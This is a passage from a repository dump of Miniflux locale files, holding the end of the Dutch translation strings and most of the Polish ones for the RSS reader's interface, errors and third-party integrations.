\"page.keyboard_shortcuts.scroll_item_to_top\": \"Scroll artikel naar boven\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Sneltoetsen tonen\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Acties\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Navigeren door artikelen\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Navigeren door pagina's\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Navigeren door menu's\",\n    \"page.keyboard_shortcuts.title\": \"Sneltoetsen\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Favoriet toevoegen/verwijderen\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Bijlagen van artikel openen/sluiten\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Markeer gelezen/ongelezen, focus volgende\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Markeer gelezen/ongelezen, focus vorige\",\n    \"page.login.google_signin\": \"Inloggen met Google\",\n    \"page.login.oidc_signin\": \"Inloggen met %s\",\n    \"page.login.title\": \"Inloggen\",\n    \"page.login.webauthn_login\": \"Inloggen met passkey\",\n    \"page.login.webauthn_login.error\": \"Kan niet inloggen met passkey\",\n    \"page.login.webauthn_login.help\": \"Voer je gebruikersnaam in als je een beveiligingssleutel gebruikt. Dit is niet nodig als je een Passkey (ontdekkingsbare referenties) gebruikt.\",\n    \"page.new_api_key.title\": \"Nieuwe API-sleutel\",\n    \"page.new_category.title\": \"Nieuwe categorie\",\n    \"page.new_user.title\": \"Nieuwe gebruiker\",\n    \"page.offline.message\": \"Je bent offline\",\n    \"page.offline.refresh_page\": \"Probeer de pagina te vernieuwen\",\n    \"page.offline.title\": \"Offline modus\",\n    \"page.read_entry_count\": [\n        \"%d gelezen artikel\",\n        \"%d gelezen artikelen\"\n    ],\n    \"page.search.title\": \"Zoekresultaten\",\n    \"page.sessions.table.actions\": \"Acties\",\n    \"page.sessions.table.current_session\": \"Huidige sessie\",\n    \"page.sessions.table.date\": \"Datum\",\n    \"page.sessions.table.ip\": \"IP-adres\",\n    \"page.sessions.table.user_agent\": \"User-agent\",\n    \"page.sessions.title\": \"Sessies\",\n    \"page.settings.link_google_account\": \"Koppel mijn Google-account\",\n    \"page.settings.link_oidc_account\": \"Koppel mijn %s account\",\n    \"page.settings.title\": \"Instellingen\",\n    \"page.settings.unlink_google_account\": \"Ontkoppel mijn Google-account\",\n    \"page.settings.unlink_oidc_account\": \"Ontkoppel mijn %s account\",\n    \"page.settings.webauthn.actions\": \"Acties\",\n    \"page.settings.webauthn.added_on\": \"Toegevoegd op\",\n    \"page.settings.webauthn.delete\": [\n        \"Verwijder %d passkey\",\n        \"Verwijder %d passkeys\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Laatst gebruikt\",\n    \"page.settings.webauthn.passkey_name\": \"Passkey Naam\",\n    \"page.settings.webauthn.passkeys\": \"Passkeys\",\n    \"page.settings.webauthn.register\": \"Passkey registreren\",\n    \"page.settings.webauthn.register.error\": \"Kan passkey niet registreren\",\n    \"page.shared_entries.title\": \"Gedeelde artikelen\",\n    \"page.shared_entries_count\": [\n        \"%d gedeeld artikel\",\n        \"%d gedeelde artikelen\"\n    ],\n    \"page.starred.title\": \"Favorieten\",\n    \"page.starred_entry_count\": [\n        \"%d favoriet artikel\",\n        \"%d favoriete artikelen\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d artikel totaal\",\n        \"%d artikelen totaal\"\n    ],\n    \"page.unread.title\": \"Ongelezen\",\n    \"page.unread_entry_count\": [\n        \"%d ongelezen artikel\",\n        \"%d ongelezen artikelen\"\n    ],\n    \"page.users.actions\": \"Acties\",\n    \"page.users.admin.no\": \"Nee\",\n    \"page.users.admin.yes\": \"Ja\",\n    \"page.users.is_admin\": \"Beheerder\",\n    \"page.users.last_login\": \"Laatste login\",\n    \"page.users.never_logged\": \"Nooit\",\n    \"page.users.title\": \"Gebruikers\",\n    \"page.users.username\": \"Gebruikersnaam\",\n    \"page.webauthn_rename.title\": \"Hernoem Passkey\",\n    \"pagination.first\": \"Eerste\",\n    \"pagination.last\": \"Laatste\",\n    \"pagination.next\": \"Volgende\",\n    \"pagination.previous\": \"Vorige\",\n    \"search.label\": \"Zoeken\",\n    \"search.placeholder\": \"Zoeken...\",\n    \"search.submit\": \"Zoeken\",\n    \"skip_to_content\": \"Ga naar inhoud\",\n    \"time_elapsed.days\": [\n        \"%d dag geleden\",\n        \"%d dagen geleden\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d uur geleden\",\n        \"%d uur geleden\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d minuut geleden\",\n        \"%d minuten geleden\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d maand geleden\",\n        \"%d maanden geleden\"\n    ],\n    \"time_elapsed.not_yet\": \"nog niet\",\n    \"time_elapsed.now\": \"minder dan een minuut geleden\",\n    \"time_elapsed.weeks\": [\n        \"%d week geleden\",\n        \"%d weken geleden\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d jaar geleden\",\n        \"%d jaar geleden\"\n    ],\n    \"time_elapsed.yesterday\": \"gisteren\",\n    \"tooltip.keyboard_shortcuts\": \"Sneltoets: %s\",\n    \"tooltip.logged_user\": \"Ingelogd als %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/pl_PL.json",
    "content": "{\n    \"action.cancel\": \"anuluj\",\n    \"action.download\": \"Pobierz\",\n    \"action.edit\": \"Edytuj\",\n    \"action.home_screen\": \"Dodaj do ekranu głównego\",\n    \"action.import\": \"Importuj\",\n    \"action.login\": \"Zaloguj się\",\n    \"action.or\": \"lub\",\n    \"action.remove\": \"Usuń\",\n    \"action.remove_feed\": \"Usuń ten kanał\",\n    \"action.save\": \"Zapisz\",\n    \"action.subscribe\": \"Subskrypcja\",\n    \"action.update\": \"Zaktualizuj\",\n    \"alert.account_linked\": \"Twoje konto zewnętrzne jest teraz połączone!\",\n    \"alert.account_unlinked\": \"Twoje konto zewnętrzne jest teraz zdysocjowane!\",\n    \"alert.background_feed_refresh\": \"Wszystkie kanały są odświeżane w tle. Możesz kontynuować korzystanie z Miniflux podczas trwania tego procesu.\",\n    \"alert.feed_error\": \"Z tym kanałem jest problem\",\n    \"alert.no_starred\": \"Brak ulubionych w tej chwili.\",\n    \"alert.no_category\": \"Brak kategorii!\",\n    \"alert.no_category_entry\": \"Brak wpisów w tej kategorii\",\n    \"alert.no_feed\": \"Nie masz żadnej subskrypcji.\",\n    \"alert.no_feed_entry\": \"Brak wpisów tego kanału.\",\n    \"alert.no_feed_in_category\": \"Nie ma subskrypcji tej kategorii.\",\n    \"alert.no_history\": \"Obecnie nie ma żadnej historii.\",\n    \"alert.no_search_result\": \"Brak wyników tego wyszukiwania.\",\n    \"alert.no_shared_entry\": \"Brak udostępnionego wpisu.\",\n    \"alert.no_tag_entry\": \"Brak wpisów pasujących do tego znacznika.\",\n    \"alert.no_unread_entry\": \"Nie ma żadnych nieprzeczytanych wpisów.\",\n    \"alert.no_user\": \"Jesteś jedynym użytkownikiem.\",\n    \"alert.prefs_saved\": \"Ustawienia zapisane!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Wykonano zbyt wiele odświeżeń kanału. Poczekaj %d minutę przed ponowną próbą.\",\n        \"Wykonano zbyt wiele odświeżeń kanału. Poczekaj %d minuty przed ponowną próbą.\",\n        \"Wykonano zbyt wiele odświeżeń kanału. Poczekaj %d minut przed ponowną próbą.\"\n    ],\n    \"confirm.loading\": \"W toku…\",\n    \"confirm.no\": \"nie\",\n    \"confirm.question\": \"Czy na pewno?\",\n    \"confirm.question.refresh\": \"Czy na pewno chcesz wymusić odświeżenie?\",\n    \"confirm.yes\": \"tak\",\n    \"enclosure_media_controls.seek\": \"Przewiń:\",\n    \"enclosure_media_controls.seek.title\": \"Przewiń o %s sek.\",\n    \"enclosure_media_controls.speed\": \"Szybkość:\",\n    \"enclosure_media_controls.speed.faster\": \"Szybciej\",\n    \"enclosure_media_controls.speed.faster.title\": \"Szybciej o %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Przywróć\",\n    \"enclosure_media_controls.speed.reset.title\": \"Przywróć szybkość do 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Wolniej\",\n    \"enclosure_media_controls.speed.slower.title\": \"Wolniej o %sx\",\n    \"entry.starred.toast.off\": \"Usunięto z ulubionych\",\n    \"entry.starred.toast.on\": \"Dodano do ulubionych\",\n    \"entry.starred.toggle.off\": \"Usuń z ulubionych\",\n    \"entry.starred.toggle.on\": \"Dodaj do ulubionych\",\n    \"entry.comments.label\": \"Komentarze\",\n    \"entry.comments.title\": \"Zobacz komentarze\",\n    \"entry.estimated_reading_time\": [\n        \"%d minuta czytania\",\n        \"%d minuty czytania\",\n        \"%d minut czytania\"\n    ],\n    \"entry.external_link.label\": \"Łącze zewnętrzne\",\n    \"entry.save.completed\": \"Gotowe!\",\n    \"entry.save.label\": \"Zapisz\",\n    \"entry.save.title\": \"Zapisz ten wpis\",\n    \"entry.save.toast.completed\": \"Zapisano wpis\",\n    \"entry.scraper.completed\": \"Gotowe!\",\n    \"entry.scraper.label\": \"Pobierz treść\",\n    \"entry.scraper.title\": \"Pobierz oryginalną treść\",\n    \"entry.share.label\": \"Udostępnij\",\n    \"entry.share.title\": \"Udostępnij ten wpis\",\n    \"entry.shared_entry.label\": \"Udostępnij\",\n    \"entry.shared_entry.title\": \"Otwórz publiczne łącze\",\n    \"entry.state.loading\": \"Ładowanie…\",\n    \"entry.state.saving\": \"Zapisywanie…\",\n    \"entry.status.mark_as_read\": \"Oznacz jako przeczytany\",\n    \"entry.status.mark_as_unread\": \"Oznacz jako nieprzeczytany\",\n    \"entry.status.title\": \"Zmień status wpisu\",\n    \"entry.status.toast.read\": \"Oznaczono jako przeczytany\",\n    \"entry.status.toast.unread\": \"Oznaczono jako nieprzeczytany\",\n    \"entry.tags.label\": \"Znaczniki:\",\n    \"entry.tags.more_tags_label\": [\n        \"Dodaj znacznik\",\n        \"Dodaj %d znaczniki\",\n        \"Dodaj %d znaczników\"\n    ],\n    \"entry.unshare.label\": \"Cofnij udostępnianie\",\n    \"error.api_key_already_exists\": \"Ten klucz API już istnieje.\",\n    \"error.bad_credentials\": \"Nieprawidłowa nazwa użytkownika lub hasło.\",\n    \"error.category_already_exists\": \"Ta kategoria już istnieje.\",\n    \"error.category_not_found\": \"Ta kategoria nie istnieje lub nie należy do tego użytkownika.\",\n    \"error.database_error\": \"Błąd bazy danych: %v.\",\n    \"error.different_passwords\": \"Hasła nie są identyczne.\",\n    \"error.duplicate_fever_username\": \"Już ktoś inny używa tej nazwy użytkownika Fever!\",\n    \"error.duplicate_googlereader_username\": \"Istnieje już ktoś inny z tą samą nazwą użytkownika Google Reader!\",\n    \"error.duplicate_linked_account\": \"Już ktoś jest powiązany z tym dostawcą!\",\n    \"error.duplicated_feed\": \"Ten kanał już istnieje.\",\n    \"error.empty_file\": \"Ten plik jest pusty.\",\n    \"error.entries_per_page_invalid\": \"Liczba wpisów na stronę jest nieprawidłowa.\",\n    \"error.feed_already_exists\": \"Ten kanał już istnieje.\",\n    \"error.feed_category_not_found\": \"Ta kategoria nie istnieje lub nie należy do tego użytkownika.\",\n    \"error.feed_format_not_detected\": \"Nie można wykryć formatu kanału: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"Reguła listy zablokowanych jest nieprawidłowa.\",\n    \"error.feed_invalid_keeplist_rule\": \"Reguła listy zachowywania jest nieprawidłowa.\",\n    \"error.feed_mandatory_fields\": \"Adres URL i kategoria są obowiązkowe.\",\n    \"error.feed_not_found\": \"Ten kanał nie istnieje lub nie należy do tego użytkownika.\",\n    \"error.feed_title_not_empty\": \"Tytuł kanału nie może być pusty.\",\n    \"error.feed_url_not_empty\": \"Adres URL kanału nie może być pusty.\",\n    \"error.fields_mandatory\": \"Wszystkie pola są obowiązkowe.\",\n    \"error.http_bad_gateway\": \"Strona jest w tej chwili niedostępna z powodu błędu nieprawidłowej bramy. Problem nie leży po stronie Miniflux. Spróbuj ponownie później.\",\n    \"error.http_body_read\": \"Nie można odczytać treści HTTP: %v.\",\n    \"error.http_client_error\": \"Błąd klienta HTTP: %v.\",\n    \"error.http_empty_response\": \"Odpowiedź HTTP jest pusta. Być może ta witryna korzysta z mechanizmu ochrony przed botami?\",\n    \"error.http_empty_response_body\": \"Treść odpowiedzi HTTP jest pusta.\",\n    \"error.http_forbidden\": \"Dostęp do tej strony jest zabroniony. Być może ta strona ma mechanizm zabezpieczający przed botami?\",\n    \"error.http_gateway_timeout\": \"Strona internetowa jest w tej chwili niedostępna z powodu błędu przekroczenia limitu czasu bramy. Problem nie leży po stronie Miniflux. Spróbuj ponownie później.\",\n    \"error.http_internal_server_error\": \"Strona jest w tej chwili niedostępna z powodu błędu serwera. Problem nie leży po stronie Miniflux. Spróbuj ponownie później.\",\n    \"error.http_not_authorized\": \"Dostęp do tej witryny nie jest autoryzowany. Może to być błędna nazwa użytkownika lub hasło.\",\n    \"error.http_resource_not_found\": \"Nie znaleziono żądanego zasobu. Sprawdź adres URL.\",\n    \"error.http_response_too_large\": \"Odpowiedź HTTP jest za duża. Możesz zwiększyć limit rozmiaru odpowiedzi HTTP w ustawieniach globalnych (wymaga ponownego uruchomienia serwera).\",\n    \"error.http_service_unavailable\": \"Strona jest w tej chwili niedostępna z powodu wewnętrznego błędu serwera. Problem nie leży po stronie Miniflux. Spróbuj ponownie później.\",\n    \"error.http_too_many_requests\": \"Miniflux wygenerował zbyt wiele żądań do tej witryny. Spróbuj ponownie później lub zmień konfigurację aplikacji.\",\n    \"error.http_unexpected_status_code\": \"Strona jest w tej chwili niedostępna z powodu nieoczekiwanego kodu stanu HTTP: %d. Problem nie leży po stronie Miniflux. Spróbuj ponownie później.\",\n    \"error.invalid_categories_sorting_order\": \"Nieprawidłowa kolejność sortowania kategorii.\",\n    \"error.invalid_default_home_page\": \"Nieprawidłowa domyślna strona główna!\",\n    \"error.invalid_display_mode\": \"Nieprawidłowy tryb wyświetlania aplikacji sieciowej.\",\n    \"error.invalid_entry_direction\": \"Nieprawidłowa kolejność sortowania.\",\n    \"error.invalid_entry_order\": \"Nieprawidłowa kolejność sortowania wpisów.\",\n    \"error.invalid_feed_proxy_url\": \"Nieprawidłowy adres URL serwera proxy.\",\n    \"error.invalid_feed_url\": \"Nieprawidłowy adres URL kanału.\",\n    \"error.invalid_gesture_nav\": \"Nieprawidłowa nawigacja gestami.\",\n    \"error.invalid_language\": \"Nieprawidłowy język.\",\n    \"error.invalid_site_url\": \"Nieprawidłowy adres URL witryny.\",\n    \"error.invalid_theme\": \"Nieprawidłowy motyw.\",\n    \"error.invalid_timezone\": \"Nieprawidłowa strefa czasowa.\",\n    \"error.network_operation\": \"Miniflux nie może połączyć się z tą witryną z powodu błędu sieci: %v.\",\n    \"error.network_timeout\": \"Ta witryna internetowa jest zbyt wolna i upłynął limit czasu żądania: %v\",\n    \"error.password_min_length\": \"Musisz użyć co najmniej 6 znaków.\",\n    \"error.proxy_url_not_empty\": \"Adres URL serwera proxy nie może być pusty.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Nieprawidłowa reguła blokowania: w regule #%d brakuje prawidłowej nazwy pola (opcje: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Nieprawidłowa reguła blokowania: wzór reguły #%d nie jest prawidłowym wyrażeniem regularnym\",\n    \"error.settings_block_rule_regex_required\": \"Nieprawidłowa reguła blokowania: nie podano wzorca reguły #%d\",\n    \"error.settings_block_rule_separator_required\": \"Nieprawidłowa reguła blokowania: wzór reguły #%d musi być oddzielony znakiem '='\",\n    \"error.settings_invalid_domain_list\": \"Nieprawidłowa lista domen. Podaj listę domen rozdzielonych spacjami.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Nieprawidłowa reguła utrzymywania: w regule #%d brakuje prawidłowej nazwy pola (opcje: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Nieprawidłowa reguła utrzymywania: wzór reguły #%d nie jest prawidłowym wyrażeniem regularnym\",\n    \"error.settings_keep_rule_regex_required\": \"Nieprawidłowa reguła utrzymywania nie podano wzorca reguły #%d\",\n    \"error.settings_keep_rule_separator_required\": \"Nieprawidłowa reguła utrzymywania: wzór reguły #%d musi być oddzielony znakiem '='\",\n    \"error.settings_mandatory_fields\": \"Pola nazwy użytkownika, tematu, języka i strefy czasowej są obowiązkowe.\",\n    \"error.settings_media_playback_rate_range\": \"Szybkość odtwarzania jest poza zakresem\",\n    \"error.settings_reading_speed_is_positive\": \"Szybkości czytania muszą być dodatnimi liczbami całkowitymi.\",\n    \"error.site_url_not_empty\": \"Adres URL witryny nie może być pusty.\",\n    \"error.subscription_not_found\": \"Nie znaleziono żadnych kanałów.\",\n    \"error.title_required\": \"Tytuł jest obowiązkowy.\",\n    \"error.tls_error\": \"Błąd TLS: %q. Jeśli chcesz, możesz wyłączyć weryfikację TLS w ustawieniach kanału.\",\n    \"error.unable_to_create_api_key\": \"Nie można utworzyć tego klucza API.\",\n    \"error.unable_to_create_category\": \"Ta kategoria nie mogła zostać utworzona.\",\n    \"error.unable_to_create_user\": \"Nie można utworzyć tego użytkownika.\",\n    \"error.unable_to_detect_rssbridge\": \"Nie można wykryć kanału za pomocą RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Nie można przeanalizować tego kanału: %v.\",\n    \"error.unable_to_update_category\": \"Ta kategoria nie mogła zostać zaktualizowana.\",\n    \"error.unable_to_update_feed\": \"Nie można zaktualizować tego kanału.\",\n    \"error.unable_to_update_user\": \"Nie można zaktualizować tego użytkownika.\",\n    \"error.unlink_account_without_password\": \"Musisz zdefiniować hasło, inaczej nie będziesz mógł się ponownie zalogować.\",\n    \"error.user_already_exists\": \"Ten użytkownik już istnieje.\",\n    \"error.user_mandatory_fields\": \"Nazwa użytkownika jest obowiązkowa.\",\n    \"error.linktaco_missing_required_fields\": \"Token API LinkTaco i ślimak organizacji są wymagane\",\n    \"form.api_key.label.description\": \"Etykieta klucza API\",\n    \"form.category.hide_globally\": \"Ukryj wpisy na globalnej liście nieprzeczytanych\",\n    \"form.category.label.title\": \"Tytuł\",\n    \"form.feed.fieldset.general\": \"Ogólne\",\n    \"form.feed.fieldset.integration\": \"Usługi dostawców zewnętrznych\",\n    \"form.feed.fieldset.network_settings\": \"Ustawienia sieci\",\n    \"form.feed.fieldset.rules\": \"Reguły\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Zezwalaj na samopodpisane lub nieprawidłowe certyfikaty\",\n    \"form.feed.label.apprise_service_urls\": \"Rozdzielana przecinkami lista adresów URL usług Appprise\",\n    \"form.feed.label.block_filter_entry_rules\": \"Reguły blokowania wpisów\",\n    \"form.feed.label.blocklist_rules\": \"Filtry blokowania oparte na wyrażeniach regularnych\",\n    \"form.feed.label.category\": \"Kategoria\",\n    \"form.feed.label.cookie\": \"Ustaw ciasteczka\",\n    \"form.feed.label.crawler\": \"Pobierz oryginalną treść\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignoruj ​​aktualizacje wpisów\",\n    \"form.feed.label.description\": \"Opis\",\n    \"form.feed.label.disable_http2\": \"Wyłącz protokół HTTP/2, aby uniknąć identyfikowania\",\n    \"form.feed.label.disabled\": \"Nie aktualizuj tego kanału\",\n    \"form.feed.label.feed_password\": \"Hasło do subskrypcji\",\n    \"form.feed.label.feed_url\": \"Adres URL kanału\",\n    \"form.feed.label.feed_username\": \"Nazwa użytkownika subskrypcji\",\n    \"form.feed.label.fetch_via_proxy\": \"Użyj serwera proxy skonfigurowanego na poziomie aplikacji\",\n    \"form.feed.label.hide_globally\": \"Ukryj wpisy na globalnej liście nieprzeczytanych\",\n    \"form.feed.label.ignore_http_cache\": \"Zignoruj pamięć podręczną HTTP\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Reguły zachowywania wpisów\",\n    \"form.feed.label.keeplist_rules\": \"Filtry zachowywania oparte na wyrażeniach regularnych\",\n    \"form.feed.label.no_media_player\": \"Brak odtwarzacza multimedialnego (audio i wideo)\",\n    \"form.feed.label.ntfy_activate\": \"Prześlij wpisy do ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Domyślny priorytet ntfy\",\n    \"form.feed.label.ntfy_high_priority\": \"Wysoki priorytet ntfy\",\n    \"form.feed.label.ntfy_low_priority\": \"Niski priorytet ntfy\",\n    \"form.feed.label.ntfy_max_priority\": \"Maksymalny priorytet ntfy\",\n    \"form.feed.label.ntfy_min_priority\": \"Minimalny priorytet ntfy\",\n    \"form.feed.label.ntfy_priority\": \"Priorytet ntfy\",\n    \"form.feed.label.ntfy_topic\": \"Temat ntfy (opcjonalny)\",\n    \"form.feed.label.proxy_url\": \"Adres URL serwera proxy\",\n    \"form.feed.label.pushover_activate\": \"Prześlij wpisy do pushover.net\",\n    \"form.feed.label.pushover_default_priority\": \"Domyślny priorytet Pushover\",\n    \"form.feed.label.pushover_high_priority\": \"Wysoki priorytet Pushover\",\n    \"form.feed.label.pushover_low_priority\": \"Niski priorytet Pushover\",\n    \"form.feed.label.pushover_max_priority\": \"Maksymalny priorytet Pushover\",\n    \"form.feed.label.pushover_min_priority\": \"Minimalny priorytet Pushover\",\n    \"form.feed.label.pushover_priority\": \"Priorytet wiadomości Pushover\",\n    \"form.feed.label.rewrite_rules\": \"Reguły przepisywania treści\",\n    \"form.feed.label.scraper_rules\": \"Reguły ekstrakcji\",\n    \"form.feed.label.site_url\": \"Adres URL strony\",\n    \"form.feed.label.title\": \"Tytuł\",\n    \"form.feed.label.urlrewrite_rules\": \"Reguły przepisywania adresów URL\",\n    \"form.feed.label.user_agent\": \"Zastąp domyślny agent użytkownika\",\n    \"form.feed.label.webhook_url\": \"Zastąp adres URL webhooka\",\n    \"form.import.label.file\": \"Plik OPML\",\n    \"form.import.label.url\": \"Adres URL\",\n    \"form.integration.archiveorg_activate\": \"Prześlij wpisy do archive.org\",\n    \"form.integration.apprise_activate\": \"Przesyłaj wpisy do Apprise\",\n    \"form.integration.apprise_services_url\": \"Oddzielona przecinkami lista adresów URL usługi Apprise\",\n    \"form.integration.apprise_url\": \"Adres URL API Apprise\",\n    \"form.integration.betula_activate\": \"Zapisuj wpisy w Betula\",\n    \"form.integration.betula_token\": \"Token do Betula\",\n    \"form.integration.betula_url\": \"Adres URL serwera Betula\",\n    \"form.integration.cubox_activate\": \"Zapisuj wpisy w Cubox\",\n    \"form.integration.cubox_api_link\": \"Łącze API Cubox\",\n    \"form.integration.discord_activate\": \"Przesyłaj wpisy do Discord\",\n    \"form.integration.discord_webhook_link\": \"Adres URL webhooka Discord\",\n    \"form.integration.espial_activate\": \"Zapisuj wpisy w Espial\",\n    \"form.integration.espial_api_key\": \"Klucz API do Espial\",\n    \"form.integration.espial_endpoint\": \"Punkt końcowy API Espial\",\n    \"form.integration.espial_tags\": \"Znaczniki Espial\",\n    \"form.integration.fever_activate\": \"Aktywuj API Fever\",\n    \"form.integration.fever_endpoint\": \"Punkt końcowy API Fever:\",\n    \"form.integration.fever_password\": \"Hasło do Fever\",\n    \"form.integration.fever_username\": \"Login do Fever\",\n    \"form.integration.googlereader_activate\": \"Aktywuj API Google Reader\",\n    \"form.integration.googlereader_endpoint\": \"Punkt końcowy API Google Reader:\",\n    \"form.integration.googlereader_password\": \"Hasło do Google Reader\",\n    \"form.integration.googlereader_username\": \"Login do Google Reader\",\n    \"form.integration.instapaper_activate\": \"Zapisuj wpisy w Instapaper\",\n    \"form.integration.instapaper_password\": \"Hasło do Instapaper\",\n    \"form.integration.instapaper_username\": \"Login do Instapaper\",\n    \"form.integration.karakeep_activate\": \"Zapisuj wpisy w Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Klucz API do Karakeep\",\n    \"form.integration.karakeep_url\": \"Punkt końcowy API Karakeep\",\n    \"form.integration.karakeep_tags\": \"Znaczniki Karakeep\",\n    \"form.integration.linkace_activate\": \"Zapisuj wpisy w LinkAce\",\n    \"form.integration.linkace_api_key\": \"Klucz API do LinkAce\",\n    \"form.integration.linkace_check_disabled\": \"Wyłącz sprawdzanie łączy\",\n    \"form.integration.linkace_endpoint\": \"Punkt końcowy API LinkAce\",\n    \"form.integration.linkace_is_private\": \"Oznacz łącze jako prywatne\",\n    \"form.integration.linkace_tags\": \"Znaczniki LinkAce\",\n    \"form.integration.linkding_activate\": \"Zapisuj wpisy w Linkding\",\n    \"form.integration.linkding_api_key\": \"Klucz API do Linkding\",\n    \"form.integration.linkding_bookmark\": \"Oznacz zakładkę jako nieprzeczytaną\",\n    \"form.integration.linkding_endpoint\": \"Punkt końcowy API Linkding\",\n    \"form.integration.linkding_tags\": \"Znaczniki Linkding\",\n    \"form.integration.linktaco_activate\": \"Zapisuj wpisy w LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"Token API LinkTaco\",\n    \"form.integration.linktaco_api_token_hint\": \"Uzyskaj osobisty token dostępu na\",\n    \"form.integration.linktaco_org_slug\": \"Ślimak organizacji\",\n    \"form.integration.linktaco_tags\": \"Znaczniki (maks. 10, oddzielone przecinkami)\",\n    \"form.integration.linktaco_tags_hint\": \"Maksymalnie 10 znaczników, oddzielone przecinkami\",\n    \"form.integration.linktaco_visibility\": \"Widoczność\",\n    \"form.integration.linktaco_visibility_public\": \"Publiczne\",\n    \"form.integration.linktaco_visibility_private\": \"Prywatne\",\n    \"form.integration.linktaco_visibility_hint\": \"Widoczność PRYWATNE wymaga płatnego konta LinkTaco\",\n    \"form.integration.linkwarden_activate\": \"Zapisuj wpisy w Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Klucz API do Linkwarden\",\n    \"form.integration.linkwarden_endpoint\": \"Podstawowy adres URL Linkwarden\",\n    \"form.integration.linkwarden_collection_id\": \"Identyfikator kolekcji Linkwarden\",\n    \"form.integration.matrix_bot_activate\": \"Przesyłaj nowe wpisy do Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"Identyfikator pokoju Matrix\",\n    \"form.integration.matrix_bot_password\": \"Hasło do Matrix\",\n    \"form.integration.matrix_bot_url\": \"Adres URL serwera Matrix\",\n    \"form.integration.matrix_bot_user\": \"Login do Matrix\",\n    \"form.integration.notion_activate\": \"Zapisuj wpisy w Notion\",\n    \"form.integration.notion_page_id\": \"Identyfikator strony Notion\",\n    \"form.integration.notion_token\": \"Tajny token do Notion\",\n    \"form.integration.ntfy_activate\": \"Przesyłaj wpisy do ntfy\",\n    \"form.integration.ntfy_api_token\": \"Token API ntfy (opcjonalny)\",\n    \"form.integration.ntfy_icon_url\": \"Adres URL ikony ntfy (opcjonalny)\",\n    \"form.integration.ntfy_internal_links\": \"Używaj łączy wewnętrznych po kliknięciu (opcjonalnie)\",\n    \"form.integration.ntfy_password\": \"Hasło do ntfy (opcjonalne)\",\n    \"form.integration.ntfy_topic\": \"Temat ntfy (domyślny, jeśli nie został ustawiony w kanale)\",\n    \"form.integration.ntfy_url\": \"Adres URL ntfy (opcjonalny, domyślny to ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Login do ntfy (opcjonalny)\",\n    \"form.integration.nunux_keeper_activate\": \"Zapisuj wpisy w Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Klucz API do Nunux Keeper\",\n    \"form.integration.nunux_keeper_endpoint\": \"Punkt końcowy API Nunux Keeper\",\n    \"form.integration.omnivore_activate\": \"Zapisuj wpisy w Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Klucz API do Omnivore\",\n    \"form.integration.omnivore_url\": \"Punkt końcowy API Omnivore\",\n    \"form.integration.pinboard_activate\": \"Zapisuj wpisy w Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Zaznacz zakładkę jako nieprzeczytaną\",\n    \"form.integration.pinboard_tags\": \"Znaczniki Pinboard\",\n    \"form.integration.pinboard_token\": \"Token API do Pinboard\",\n    \"form.integration.pushover_activate\": \"Prześlij wpisy do Pushover\",\n    \"form.integration.pushover_device\": \"Urządzenie Pushover (opcjonalne)\",\n    \"form.integration.pushover_prefix\": \"Prefiks adresu URL Pushover (opcjonalny)\",\n    \"form.integration.pushover_token\": \"Token API aplikacji Pushover\",\n    \"form.integration.pushover_user\": \"Klucz użytkownika Pushover\",\n    \"form.integration.raindrop_activate\": \"Zapisuj wpisy do Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"Identyfikator kolekcji\",\n    \"form.integration.raindrop_tags\": \"Znaczniki (oddzielone przecinkami)\",\n    \"form.integration.raindrop_token\": \"Token (testowy)\",\n    \"form.integration.readeck_activate\": \"Zapisuj wpisy do Readeck\",\n    \"form.integration.readeck_api_key\": \"Tajny klucz API Readeck\",\n    \"form.integration.readeck_endpoint\": \"Adres URL Readeck\",\n    \"form.integration.readeck_labels\": \"Etykiety Readeck\",\n    \"form.integration.readeck_only_url\": \"Wysyłaj tylko adres URL (zamiast pełnej treści)\",\n    \"form.integration.readeck_push_activate\": \"Automatycznie przesyłaj nowe wpisy do Readeck\",\n    \"form.integration.readwise_activate\": \"Zapisuj wpisy w czytniku Readwise\",\n    \"form.integration.readwise_api_key\": \"Token dostępu do czytnika Readwise\",\n    \"form.integration.readwise_api_key_link\": \"Zdobądź token dostępu Readwise\",\n    \"form.integration.rssbridge_activate\": \"Sprawdź RSS-Bridge podczas dodawania subskrypcji\",\n    \"form.integration.rssbridge_token\": \"Token uwierzytelniający RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"Adres URL serwera RSS-Bridge\",\n    \"form.integration.shaarli_activate\": \"Zapisuj artykuły w Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Tajny klucz API do Shaarli\",\n    \"form.integration.shaarli_endpoint\": \"Adres 